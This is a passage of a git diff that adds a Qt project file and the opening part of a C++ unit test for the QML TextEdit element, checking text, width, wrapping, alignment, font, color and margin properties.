+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativetextedit.cpp ../shared/testhttpserver.cpp
+HEADERS += ../shared/testhttpserver.h
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
new file mode 100644
index 00000000..31da8323
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
@@ -0,0 +1,2819 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include "../../../shared/util.h"
+#include "../shared/testhttpserver.h"
+#include <math.h>
+#include <QFile>
+#include <QTextDocument>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativetextedit_p.h>
+#include <private/qdeclarativetextedit_p_p.h>
+#include <QFontMetrics>
+#include <QDeclarativeView>
+#include <QDir>
+#include <QStyle>
+#include <QInputContext>
+#include <QClipboard>
+#include <QMimeData>
+#include <private/qapplication_p.h>
+#include <private/qtextcontrol_p.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+Q_DECLARE_METATYPE(QDeclarativeTextEdit::SelectionMode)
+
+QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
+{
+ // XXX This will be replaced by some clever persistent platform image store.
+ QString persistent_dir = SRCDIR "/data";
+ QString arch = "unknown-architecture"; // QTest needs to help with this.
+
+ QString expectfile = persistent_dir + QDir::separator() + filebasename + "-" + arch + ".png";
+
+ if (!QFile::exists(expectfile)) {
+ actual.save(expectfile);
+ qWarning() << "created" << expectfile;
+ }
+
+ return expectfile;
+}
+
+
+class tst_qdeclarativetextedit : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativetextedit();
+
+private slots:
+ void text();
+ void width();
+ void wrap();
+ void textFormat();
+ void alignments();
+ void alignments_data();
+
+ // ### these tests may be trivial
+ void hAlign();
+ void hAlign_RightToLeft();
+ void vAlign();
+ void font();
+ void color();
+ void textMargin();
+ void persistentSelection();
+ void focusOnPress();
+ void selection();
+ void isRightToLeft_data();
+ void isRightToLeft();
+ void keySelection();
+ void moveCursorSelection_data();
+ void moveCursorSelection();
+ void moveCursorSelectionSequence_data();
+ void moveCursorSelectionSequence();
+ void mouseSelection_data();
+ void mouseSelection();
+ void multilineMouseSelection();
+ void deferEnableSelectByMouse_data();
+ void deferEnableSelectByMouse();
+ void deferDisableSelectByMouse_data();
+ void deferDisableSelectByMouse();
+ void mouseSelectionMode_data();
+ void mouseSelectionMode();
+ void dragMouseSelection();
+ void inputMethodHints();
+
+ void positionAt();
+
+ void cursorDelegate();
+ void cursorVisible();
+ void delegateLoading_data();
+ void delegateLoading();
+ void navigation();
+ void readOnly();
+ void copyAndPaste();
+ void canPaste();
+ void canPasteEmpty();
+ void textInput();
+ void openInputPanelOnClick();
+ void openInputPanelOnFocus();
+ void geometrySignals();
+ void pastingRichText_QTBUG_14003();
+ void implicitSize_data();
+ void implicitSize();
+ void implicitSizePreedit_data();
+ void implicitSizePreedit();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+
+ void preeditMicroFocus();
+ void inputContextMouseHandler();
+ void inputMethodComposing();
+ void cursorRectangleSize();
+ void deselect();
+
+private:
+ void simulateKey(QDeclarativeView *, int key, Qt::KeyboardModifiers modifiers = 0);
+ QDeclarativeView *createView(const QString &filename);
+
+ QStringList standard;
+ QStringList richText;
+
+ QStringList hAlignmentStrings;
+ QStringList vAlignmentStrings;
+
+ QList<Qt::Alignment> vAlignments;
+ QList<Qt::Alignment> hAlignments;
+
+ QStringList colorStrings;
+
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativetextedit::tst_qdeclarativetextedit()
+{
+ standard << "the quick brown fox jumped over the lazy dog"
+ << "the quick brown fox\n jumped over the lazy dog"
+ << "Hello, world!"
+ << "!dlrow ,olleH";
+
+ richText << "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a> jumped over the <b>lazy</b> dog</i>"
+ << "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a><br>jumped over the <b>lazy</b> dog</i>";
+
+ hAlignmentStrings << "AlignLeft"
+ << "AlignRight"
+ << "AlignHCenter";
+
+ vAlignmentStrings << "AlignTop"
+ << "AlignBottom"
+ << "AlignVCenter";
+
+ hAlignments << Qt::AlignLeft
+ << Qt::AlignRight
+ << Qt::AlignHCenter;
+
+ vAlignments << Qt::AlignTop
+ << Qt::AlignBottom
+ << Qt::AlignVCenter;
+
+ colorStrings << "aliceblue"
+ << "antiquewhite"
+ << "aqua"
+ << "darkkhaki"
+ << "darkolivegreen"
+ << "dimgray"
+ << "palevioletred"
+ << "lightsteelblue"
+ << "#000000"
+ << "#AAAAAA"
+ << "#FFFFFF"
+ << "#2AC05F";
+ //
+ // need a different test to do alpha channel test
+ // << "#AA0011DD"
+ // << "#00F16B11";
+ //
+}
+
+void tst_qdeclarativetextedit::text()
+{
+ {
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData("import QtQuick 1.0\nTextEdit { text: \"\" }", QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->text(), QString(""));
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->text(), standard.at(i));
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QString actual = textEditObject->text();
+ QString expected = richText.at(i);
+ actual.replace(QRegExp(".*<body[^>]*>"),"");
+ actual.replace(QRegExp("(<[^>]*>)+"),"<>");
+ expected.replace(QRegExp("(<[^>]*>)+"),"<>");
+ QCOMPARE(actual.simplified(),expected.simplified());
+ }
+}
+
+void tst_qdeclarativetextedit::width()
+{
+ // uses Font metrics to find the width for standard and document to find the width for rich
+ {
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData("import QtQuick 1.0\nTextEdit { text: \"\" }", QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->width(), 0.0);
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QFont f;
+ QFontMetricsF fm(f);
+ qreal metricWidth = fm.size(Qt::TextExpandTabs && Qt::TextShowMnemonic, standard.at(i)).width();
+ metricWidth = ceil(metricWidth);
+
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->width(), qreal(metricWidth));
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QTextDocument document;
+ document.setHtml(richText.at(i));
+ document.setDocumentMargin(0);
+
+ int documentWidth = ceil(document.idealWidth());
+
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->width(), qreal(documentWidth));
+ }
+}
+
+void tst_qdeclarativetextedit::wrap()
+{
+ // for specified width and wrap set true
+ {
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData("import QtQuick 1.0\nTextEdit { text: \"\"; wrapMode: TextEdit.WordWrap; width: 300 }", QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->width(), 300.);
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { wrapMode: TextEdit.WordWrap; width: 300; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->width(), 300.);
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { wrapMode: TextEdit.WordWrap; width: 300; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->width(), 300.);
+ }
+
+}
+
+void tst_qdeclarativetextedit::textFormat()
+{
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData("import QtQuick 1.0\nTextEdit { text: \"Hello\"; textFormat: Text.RichText }", QUrl::fromLocalFile(""));
+ QDeclarativeTextEdit *textObject = qobject_cast<QDeclarativeTextEdit*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QVERIFY(textObject->textFormat() == QDeclarativeTextEdit::RichText);
+ }
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData("import QtQuick 1.0\nTextEdit { text: \"<b>Hello</b>\"; textFormat: Text.PlainText }", QUrl::fromLocalFile(""));
+ QDeclarativeTextEdit *textObject = qobject_cast<QDeclarativeTextEdit*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QVERIFY(textObject->textFormat() == QDeclarativeTextEdit::PlainText);
+ }
+}
+
+void tst_qdeclarativetextedit::alignments_data()
+{
+ QTest::addColumn<int>("hAlign");
+ QTest::addColumn<int>("vAlign");
+ QTest::addColumn<QString>("expectfile");
+
+ QTest::newRow("LT") << int(Qt::AlignLeft) << int(Qt::AlignTop) << "alignments_lt";
+ QTest::newRow("RT") << int(Qt::AlignRight) << int(Qt::AlignTop) << "alignments_rt";
+ QTest::newRow("CT") << int(Qt::AlignHCenter) << int(Qt::AlignTop) << "alignments_ct";
+
+ QTest::newRow("LB") << int(Qt::AlignLeft) << int(Qt::AlignBottom) << "alignments_lb";
+ QTest::newRow("RB") << int(Qt::AlignRight) << int(Qt::AlignBottom) << "alignments_rb";
+ QTest::newRow("CB") << int(Qt::AlignHCenter) << int(Qt::AlignBottom) << "alignments_cb";
+
+ QTest::newRow("LC") << int(Qt::AlignLeft) << int(Qt::AlignVCenter) << "alignments_lc";
+ QTest::newRow("RC") << int(Qt::AlignRight) << int(Qt::AlignVCenter) << "alignments_rc";
+ QTest::newRow("CC") << int(Qt::AlignHCenter) << int(Qt::AlignVCenter) << "alignments_cc";
+}
+
+
+void tst_qdeclarativetextedit::alignments()
+{
+ QFETCH(int, hAlign);
+ QFETCH(int, vAlign);
+ QFETCH(QString, expectfile);
+
+ QDeclarativeView *canvas = createView(SRCDIR "/data/alignments.qml");
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QObject *ob = canvas->rootObject();
+ QVERIFY(ob != 0);
+ ob->setProperty("horizontalAlignment",hAlign);
+ ob->setProperty("verticalAlignment",vAlign);
+ QTRY_COMPARE(ob->property("running").toBool(),false);
+ QImage actual(canvas->width(), canvas->height(), QImage::Format_RGB32);
+ actual.fill(qRgb(255,255,255));
+ QPainter p(&actual);
+ canvas->render(&p);
+
+ expectfile = createExpectedFileIfNotFound(expectfile, actual);
+
+ QImage expect(expectfile);
+
+ QCOMPARE(actual,expect);
+
+ delete canvas;
+}
+
+
+//the alignment tests may be trivial o.oa
+void tst_qdeclarativetextedit::hAlign()
+{
+ //test one align each, and then test if two align fails.
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ for (int j=0; j < hAlignmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { horizontalAlignment: \"" + hAlignmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE((int)textEditObject->hAlign(), (int)hAlignments.at(j));
+ }
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ for (int j=0; j < hAlignmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { horizontalAlignment: \"" + hAlignmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE((int)textEditObject->hAlign(), (int)hAlignments.at(j));
+ }
+ }
+
+}
+
+void tst_qdeclarativetextedit::hAlign_RightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+ QDeclarativeTextEdit *textEdit = canvas->rootObject()->findChild<QDeclarativeTextEdit*>("text");
+ QVERIFY(textEdit != 0);
+ canvas->show();
+
+ const QString rtlText = textEdit->text();
+
+ // implicit alignment should follow the reading direction of text
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ // explicitly left aligned
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignLeft);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignLeft);
+ QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
+
+ // explicitly right aligned
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ QString textString = textEdit->text();
+ textEdit->setText(QString("<i>") + textString + QString("</i>"));
+ textEdit->resetHAlign();
+
+ // implicitly aligned rich text should follow the reading direction of RTL text
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->effectiveHAlign(), textEdit->hAlign());
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ // explicitly left aligned rich text
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignLeft);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignLeft);
+ QCOMPARE(textEdit->effectiveHAlign(), textEdit->hAlign());
+ QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
+
+ // explicitly right aligned rich text
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->effectiveHAlign(), textEdit->hAlign());
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ textEdit->setText(textString);
+
+ // explicitly center aligned
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignHCenter);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignHCenter);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ // reseted alignment should go back to following the text reading direction
+ textEdit->resetHAlign();
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ // mirror the text item
+ QDeclarativeItemPrivate::get(textEdit)->setLayoutMirror(true);
+
+ // mirrored implicit alignment should continue to follow the reading direction of the text
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->effectiveHAlign(), QDeclarativeTextEdit::AlignRight);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ // mirrored explicitly right aligned behaves as left aligned
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->effectiveHAlign(), QDeclarativeTextEdit::AlignLeft);
+ QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
+
+ // mirrored explicitly left aligned behaves as right aligned
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignLeft);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignLeft);
+ QCOMPARE(textEdit->effectiveHAlign(), QDeclarativeTextEdit::AlignRight);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ // disable mirroring
+ QDeclarativeItemPrivate::get(textEdit)->setLayoutMirror(false);
+ textEdit->resetHAlign();
+
+ // English text should be implicitly left aligned
+ textEdit->setText("Hello world!");
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignLeft);
+ QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
+
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ textEdit->setText(QString());
+ { QInputMethodEvent ev(rtlText, QList<QInputMethodEvent::Attribute>()); QApplication::sendEvent(canvas, &ev); }
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ { QInputMethodEvent ev("Hello world!", QList<QInputMethodEvent::Attribute>()); QApplication::sendEvent(canvas, &ev); }
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignLeft);
+
+#ifndef Q_OS_MAC // QTBUG-18040
+ // empty text with implicit alignment follows the system locale-based
+ // keyboard input direction from QApplication::keyboardInputDirection
+ textEdit->setText("");
+ QCOMPARE(textEdit->hAlign(), QApplication::keyboardInputDirection() == Qt::LeftToRight ?
+ QDeclarativeTextEdit::AlignLeft : QDeclarativeTextEdit::AlignRight);
+ if (QApplication::keyboardInputDirection() == Qt::LeftToRight)
+ QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
+ else
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+#endif
+
+ delete canvas;
+
+#ifndef Q_OS_MAC // QTBUG-18040
+ // alignment of TextEdit with no text set to it
+ QString componentStr = "import QtQuick 1.0\nTextEdit {}";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeTextEdit *textObject = qobject_cast<QDeclarativeTextEdit*>(textComponent.create());
+ QCOMPARE(textObject->hAlign(), QApplication::keyboardInputDirection() == Qt::LeftToRight ?
+ QDeclarativeTextEdit::AlignLeft : QDeclarativeTextEdit::AlignRight);
+ delete textObject;
+#endif
+}
+
+void tst_qdeclarativetextedit::vAlign()
+{
+ //test one align each, and then test if two align fails.
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ for (int j=0; j < vAlignmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { verticalAlignment: \"" + vAlignmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE((int)textEditObject->vAlign(), (int)vAlignments.at(j));
+ }
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ for (int j=0; j < vAlignmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { verticalAlignment: \"" + vAlignmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE((int)textEditObject->vAlign(), (int)vAlignments.at(j));
+ }
+ }
+
+}
+
+void tst_qdeclarativetextedit::font()
+{
+ //test size, then bold, then italic, then family
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { font.pointSize: 40; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->font().pointSize(), 40);
+ QCOMPARE(textEditObject->font().bold(), false);
+ QCOMPARE(textEditObject->font().italic(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { font.bold: true; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->font().bold(), true);
+ QCOMPARE(textEditObject->font().italic(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { font.italic: true; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->font().italic(), true);
+ QCOMPARE(textEditObject->font().bold(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { font.family: \"Helvetica\"; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->font().family(), QString("Helvetica"));
+ QCOMPARE(textEditObject->font().bold(), false);
+ QCOMPARE(textEditObject->font().italic(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { font.family: \"\"; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->font().family(), QString(""));
+ }
+}
+
+void tst_qdeclarativetextedit::color()
+{
+ //test initial color
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QDeclarativeTextEditPrivate *textEditPrivate = static_cast<QDeclarativeTextEditPrivate*>(QDeclarativeItemPrivate::get(textEditObject));
+
+ QVERIFY(textEditObject);
+ QVERIFY(textEditPrivate);
+ QVERIFY(textEditPrivate->control);
+
+ QPalette pal = textEditPrivate->control->palette();
+ QCOMPARE(textEditPrivate->color, QColor("black"));
+ QCOMPARE(textEditPrivate->color, pal.color(QPalette::Text));
+ }
+ //test normal
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { color: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ //qDebug() << "textEditObject: " << textEditObject->color() << "vs. " << QColor(colorStrings.at(i));
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->color(), QColor(colorStrings.at(i)));
+ }
+
+ //test selection
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { selectionColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->selectionColor(), QColor(colorStrings.at(i)));
+ }
+
+ //test selected text
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { selectedTextColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->selectedTextColor(), QColor(colorStrings.at(i)));
+ }
+
+ {
+ QString colorStr = "#AA001234";
+ QColor testColor("#001234");
+ testColor.setAlpha(170);
+
+ QString componentStr = "import QtQuick 1.0\nTextEdit { color: \"" + colorStr + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->color(), testColor);
+ }
+}
+
+void tst_qdeclarativetextedit::textMargin()
+{
+ for(qreal i=0; i<=10; i+=0.3){
+ QString componentStr = "import QtQuick 1.0\nTextEdit { textMargin: " + QString::number(i) + "; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(textEditObject != 0);
+ QCOMPARE(textEditObject->textMargin(), i);
+ }
+}
+
+void tst_qdeclarativetextedit::persistentSelection()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nTextEdit { persistentSelection: true; text: \"Hello World\" }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
